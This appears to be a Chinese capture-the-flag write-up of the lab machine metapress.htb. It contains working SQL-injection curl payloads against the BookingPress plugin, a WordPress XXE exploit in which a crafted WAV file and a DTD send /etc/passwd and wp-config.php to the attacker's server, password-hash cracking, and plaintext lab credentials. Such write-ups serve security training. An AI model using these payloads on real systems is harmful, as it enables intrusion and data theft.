信息收集#
nmap 扫描<br /># nmap -sV 10.129.228.95 Starting Nmap 7.93 ( [https://nmap.org](https://nmap.org) ) at 2022-12-14 01:16 EST Nmap scan report for 10.129.228.95 Host is up (0.43s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp? 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) . Nmap done: 1 IP address (1 host up) scanned in 174.13 seconds <br />
访问 80 端口发现了跳转
把这个域名加入 host
是一个 WP 的博客系统。
博客系统是 5.8.2 通过谷歌搜索到了一个 XXE,但是需要在后台进行。
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
目录扫描
Target: http://metapress.htb/
[01:25:47] Starting:
[01:25:57] 404 - 555B - /.css
[01:26:00] 404 - 555B - /.gif
[01:26:02] 200 - 633B - /.htaccess
[01:26:03] 404 - 555B - /.ico
[01:26:05] 404 - 555B - /.jpeg
[01:26:05] 404 - 555B - /.jpg
[01:26:11] 404 - 555B - /.png
[01:26:22] 301 - 0B - /0 -> http://metapress.htb/0/
[01:26:28] 301 - 0B - /2022 -> http://metapress.htb/2022/
[01:26:28] 200 - 10KB - /2022/
[01:26:35] 301 - 0B - /A -> http://metapress.htb/about-us/
[01:26:35] 301 - 0B - /a -> http://metapress.htb/about-us/
[01:26:35] 301 - 0B - /ab/ -> http://metapress.htb/about-us/
[01:26:36] 301 - 0B - /about -> http://metapress.htb/about-us/
[01:26:36] 301 - 0B - /About -> http://metapress.htb/about-us/
[01:26:36] 301 - 0B - /about-us -> http://metapress.htb/about-us/
[01:26:40] 301 - 0B - /actuator/events -> http://metapress.htb/events/
[01:26:43] 302 - 0B - /admin -> http://metapress.htb/wp-admin/
[01:26:44] 301 - 0B - /admin. -> http://metapress.htb/admin
[01:26:45] 302 - 0B - /admin/ -> http://metapress.htb/wp-admin/
[01:26:56] 404 - 555B - /admin_my_avatar.png
[01:27:17] 301 - 0B - /asset.. -> http://metapress.htb/asset
[01:27:17] 301 - 0B - /atom -> http://metapress.htb/feed/atom/
[01:27:19] 301 - 0B - /axis//happyaxis.jsp -> http://metapress.htb/axis/happyaxis.jsp
[01:27:19] 301 - 0B - /axis2-web//HappyAxis.jsp -> http://metapress.htb/axis2-web/HappyAxis.jsp
[01:27:19] 301 - 0B - /axis2//axis2-web/HappyAxis.jsp -> http://metapress.htb/axis2/axis2-web/HappyAxis.jsp
[01:27:26] 404 - 555B - /bundles/kibana.style.css
[01:27:27] 301 - 0B - /c -> http://metapress.htb/cancel-appointment/
[01:27:53] 302 - 0B - /dashboard -> http://metapress.htb/wp-admin/
[01:27:53] 302 - 0B - /dashboard/ -> http://metapress.htb/wp-admin/
[01:28:01] 301 - 0B - /e -> http://metapress.htb/events/
[01:28:04] 301 - 0B - /engine/classes/swfupload//swfupload.swf -> http://metapress.htb/engine/classes/swfupload/swfupload.swf
[01:28:04] 301 - 0B - /engine/classes/swfupload//swfupload_f9.swf -> http://metapress.htb/engine/classes/swfupload/swfupload_f9.swf
[01:28:07] 301 - 0B - /events -> http://metapress.htb/events/
[01:28:08] 301 - 0B - /extjs/resources//charts.swf -> http://metapress.htb/extjs/resources/charts.swf
[01:28:09] 404 - 555B - /favicon.ico
[01:28:10] 301 - 0B - /feed -> http://metapress.htb/feed/
[01:28:17] 301 - 0B - /h -> http://metapress.htb/hello-world/
[01:28:18] 301 - 0B - /hello -> http://metapress.htb/hello-world/
[01:28:20] 301 - 0B - /html/js/misc/swfupload//swfupload.swf -> http://metapress.htb/html/js/misc/swfupload/swfupload.swf
[01:28:21] 404 - 555B - /IdentityGuardSelfService/images/favicon.ico
[01:28:24] 301 - 0B - /index.php -> http://metapress.htb/
[01:28:25] 301 - 0B - /index.php/login/ -> http://metapress.htb/login/
[01:28:29] 301 - 0B - /jkstatus; -> http://metapress.htb/jkstatus
[01:28:34] 200 - 19KB - /license.txt
[01:28:36] 302 - 0B - /login -> http://metapress.htb/wp-login.php
[01:28:37] 302 - 0B - /login/ -> http://metapress.htb/wp-login.php
[01:28:37] 301 - 0B - /login.wdm%20 -> http://metapress.htb/login.wdm
[01:28:37] 301 - 0B - /login.wdm%2e -> http://metapress.htb/login.wdm
[01:28:37] 404 - 555B - /logo.gif
[01:28:51] 301 - 0B - /New%20folder%20(2) -> http://metapress.htb/New%20folder%20(2
[01:29:02] 301 - 0B - /phpmyadmin!! -> http://metapress.htb/phpmyadmin
[01:29:14] 301 - 0B - /rating_over. -> http://metapress.htb/rating_over
[01:29:15] 200 - 7KB - /readme.html
[01:29:18] 404 - 555B - /resources/.arch-internal-preview.css
[01:29:19] 200 - 113B - /robots.txt
[01:29:19] 301 - 0B - /rss -> http://metapress.htb/feed/
[01:29:19] 301 - 0B - /s -> http://metapress.htb/sample-page/
[01:29:20] 301 - 0B - /sample -> http://metapress.htb/sample-page/
[01:29:24] 301 - 0B - /servlet/hello -> http://metapress.htb/hello-world/
[01:29:28] 302 - 0B - /sitemap.xml -> http://metapress.htb/wp-sitemap.xml
[01:29:29] 404 - 555B - /skin1_admin.css
[01:29:33] 301 - 0B - /static.. -> http://metapress.htb/static
[01:29:38] 301 - 0B - /t -> http://metapress.htb/thank-you/
[01:30:00] 301 - 169B - /wp-admin -> http://metapress.htb/wp-admin/
[01:30:00] 400 - 1B - /wp-admin/admin-ajax.php
[01:30:00] 302 - 0B - /wp-admin/ -> http://metapress.htb/wp-login.php?redirect_to=http%3A%2F%2Fmetapress.htb%2Fwp-admin%2F&reauth=1
[01:30:00] 409 - 3KB - /wp-admin/setup-config.php
[01:30:00] 200 - 1KB - /wp-admin/install.php
[01:30:00] 200 - 0B - /wp-config.php
[01:30:01] 301 - 169B - /wp-content -> http://metapress.htb/wp-content/
[01:30:01] 200 - 0B - /wp-content/
[01:30:02] 403 - 555B - /wp-content/uploads/
[01:30:02] 403 - 555B - /wp-content/upgrade/
[01:30:02] 403 - 555B - /wp-includes/
[01:30:02] 301 - 169B - /wp-includes -> http://metapress.htb/wp-includes/
[01:30:02] 200 - 0B - /wp-cron.php
[01:30:02] 200 - 0B - /wp-includes/rss-functions.php
[01:30:02] 200 - 578B - /wp-json/wp/v2/users/
[01:30:02] 200 - 7KB - /wp-login.php
[01:30:03] 302 - 0B - /wp-signup.php -> http://metapress.htb/wp-login.php?action=register
[01:30:03] 200 - 91KB - /wp-json/
[01:30:05] 405 - 42B - /xmlrpc.php
文件都没什么指引,尝试用 WPscan 扫一下
─# wpscan --url http://metapress.htb
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://metapress.htb/ [10.129.228.95]
[+] Started: Wed Dec 14 02:04:19 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx/1.18.0
| - X-Powered-By: PHP/8.0.24
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://metapress.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://metapress.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Dec 14 02:04:50 2022
[+] Requests Done: 186
[+] Cached Requests: 7
[+] Data Sent: 51.887 KB
[+] Data Received: 19.568 MB
[+] Memory used: 244.609 MB
[+] Elapsed time: 00:00:31
<br />
插件漏洞#
对全博客唯一一个表单进行测试,查看源代码,其中的路径暴露了插件信息。
<link rel='stylesheet' id='bookingpress_fonts_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/fonts/fonts.css?ver=1.0.10' media='all' />
booking press 1.0.10 搜索该插件的 exp 就可以了
链接:https ://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
在通过 bookingpress_front_get_category_services AJAX 操作(可供未经身份验证的用户使用)将用户提供的 POST 数据用于动态构造的 SQL 查询之前,该插件无法正确清理用户提供的 POST 数据,从而导致未经身份验证的 SQL 注入
概念验证
- 创建一个新的“类别”并通过 BookingPress 管理菜单将其与新的“服务”相关联 (/wp-admin/admin.php?page=bookingpress_services)
- 创建一个嵌入“[bookingpress_form]”简码的新页面(“BookingPress 分步向导表单”)
- 以未经身份验证的用户身份访问刚刚创建的页面并提取“nonce”(查看源代码 -> 搜索“action:'bookingpress_front_get_category_services'”)
- 调用以下 curl 命令
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
基于时间的有效负载:curl -i 'https://example.com/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH'
利用#
根据 EXP 信息,找到了 token 处
var postData = { action:'bookingpress_front_get_category_services',category_id: selected_cat_id,total_service: total_services
,_wpnonce:'1c75dc1066' };
EXP
https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py
└─# python3 booking-press-expl.py -u http://metapress.htb -n 1c75dc1066
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|[email protected]|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|[email protected]|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
hash 破解#
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
└─# john -w=/usr/share/wordlists/rockyou.txt 2.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)
1g 0:00:00:43 1.41% (ETA: 03:27:53) 0.02325g/s 5546p/s 8112c/s 8112C/s michael4ever..miamor05
获得了一个密码,拿这个密码去登陆他的 wp 后台看看
使用账户 manager partylikearockstar 登陆后台
后台 cve-2021-29447#
根据 CVE 编号在 GitHub 找到了利用程序
https://github.com/mega8bit/exploit_cve-2021-29447
使用此 exp 后会在本地生成一个 WAV 文件,上传后即可收到命令执行回显。
└─# ./exploit_cve-2021-29447 -local-server-ip 10.10.16.10 -target-path=/etc/passwd
Payload generated
Run server on 10.10.16.10:43527
Got xxe parsed data
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve
Finished. Terminating http server
但是还是手动做一遍比较有意思,按照 EXP 的思路
创建恶意类#
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.10:8888/exp.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
生成 wav 文件后
创建 dtd 恶意文件#
现在让我们创建 exp.dtd 文件,它将读取 /etc/passwd 文件并将其转换为并在我们的服务器上按请求 base64 发送该数据
❯ cat exp.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.10:8888/?p=%file;'>" >
启动 PHP 服务器#
php -S 10.10.16.10:8888
利用#
上传刚开始生成的恶意类文件
base 解码回显
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zY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vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=' | base64 -d
到此,手动利用也完毕。那么按照思路去读取 WP 的配置文件就可以了。
fuzz 目录#
当时一段尝试去读 var/www 后都读不到,选择直接尝试读取 config 文件。
如果有什么好办法确认 Linux 目录的话,我会再补充。
" >
利用 EXP:
└─# ./exploit_cve-2021-29447 -local-server-ip 10.10.16.4 -target-path=../wp-config.php
Payload generated
Run server on 10.10.16.4:45057
Got xxe parsed data
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.
Finished. Terminating http server
上面获得了数据库的账号密码,和 FTP 的,但是重要的核心就是 FTP,最开始扫描的时候扫描到了 21 端口。
FTP#
└─# ftp 10.129.228.95
Connected to 10.129.228.95.
220 ProFTPD Server (Debian) [::ffff:10.129.228.95]
Name (10.129.228.95:root): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||65195|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer complete
ftp>
获得了两个目录 blog 明显就是博客配置文件,这里就直接去看 mailer 目录
ftp> ls
229 Entering Extended Passive Mode (|||63156|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer complete
ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||32563|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||36013|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |********************************| 1126 4.78 KiB/s 00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (1.15 KiB/s)
ftp>
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
PWN user#
└─# ssh [email protected]
The authenticity of host '10.129.228.95 (10.129.228.95)' can't be established.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.228.95' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
4fc77561db79558d61da57777484ecd8
jnelson@meta2:~$
拿到了 user 的 flag
PWN ROOT#
jnelson@meta2:~$ ls -a
. .bash_history .bashrc .passpie user.txt
.. .bash_logout .local .profile
发现.key 文件#
发现了一个.passpie 目录
jnelson@meta2:~$ cd .passpie
jnelson@meta2:~/.passpie$ ls
ssh
jnelson@meta2:~/.passpie$ cd ssh
jnelson@meta2:~/.passpie/ssh$ ls
jnelson.pass root.pass
jnelson@meta2:~/.passpie/ssh$ cat root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----
'
jnelson@meta2:~/.passpie/ssh$
一级一级的跟过去,发现储存了他也有个 SSH 目录,并且储存了 root 和 jnelson 的登录文件
并且是 PGP 加密
搜索了一下。
Passpie 是一个命令行工具,用于从终端管理密码,界面丰富多彩且可配置。使用主密码解密登录凭据、将密码复制到剪贴板、与 git 存储库同步、检查密码状态等等。
密码文件使用GnuPG加密并保存到 yaml 文本文件中。Passpie 支持Linux、OSX和Windows。
网址:https://passpie.readthedocs.io/en/latest/
nelson@meta2:~/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .
drwxr-xr-x 5 jnelson jnelson 4096 Dec 15 02:59 ..
-r-xr-x--- 1 jnelson jnelson 3 Jun 26 13:57 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 13:58 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh
jnelson@meta2:~/.passpie$ cd .keys
-bash: cd: .keys: Not a directory
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTd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U3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
jnelson@meta2:~/.passpie$
转换#
导出此.key 文件
┌──(root㉿kali)-[~/Public]
└─# scp [email protected]:.passpie/.keys keys
[email protected]'s password:
.keys 100% 5243 5.1KB/s 00:01
└─# gpg2john keys > hash
File keys
Error: Ensure that the input file keys contains a single private key only.
Error: No hash was generated for keys, ensure that the input file contains a single private key only.
转换
需要删除多余的密钥,留下最后一个密钥文件
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM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oJEDh3dcNXRdIDRFQA/3V6S3ad2W9c1fq62+X7TcuCaKWkDk4e
qalFZ3bhSFVIAP4qI7yXjBXZU4+Rd+gZKp77UNFdqcCyhGl1GpAJyyERDZ0BXwRi
uFfWEAQAhBp/xWPRH6n+PLXwJf0OL8mXGC6bh2gUeRO2mpFkFK4zXE5SE0znwn9J
CBcYy2EePd5ueDYC9iN3H7BYlhAUaRvlU7732CY6Tbw1jbmGFLyIxS7jHJwd3dXT
+PyrTxF+odQ6aSEhT4JZrCk5Ef7/7aGMH4UcXuiWrgTPFiDovicAAwUD/i6Q+sq+
FZplPakkaWO7hBC8NdCWsBKIQcPqZoyoEY7m0mpuSn4Mm0wX1SgNrncUFEUR6pyV
jqRBTGfPPjwLlaw5zfV+r7q+P/jTD09usYYFglqJj/Oi47UVT13ThYKyxKL0nn8G
JiJHAWqExFeq8eD22pTIoueyrybCfRJxzlJV/gcDAsPttfCSRgia/1PrBxACO3+4
VxHfI4p2KFuza9hwok3jrRS7D9CM51fK/XJkMehVoVyvetNXwXUotoEYeqoDZVEB
J2h0nXerWPkNKRrrfYh4BBgRCAAgFiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4
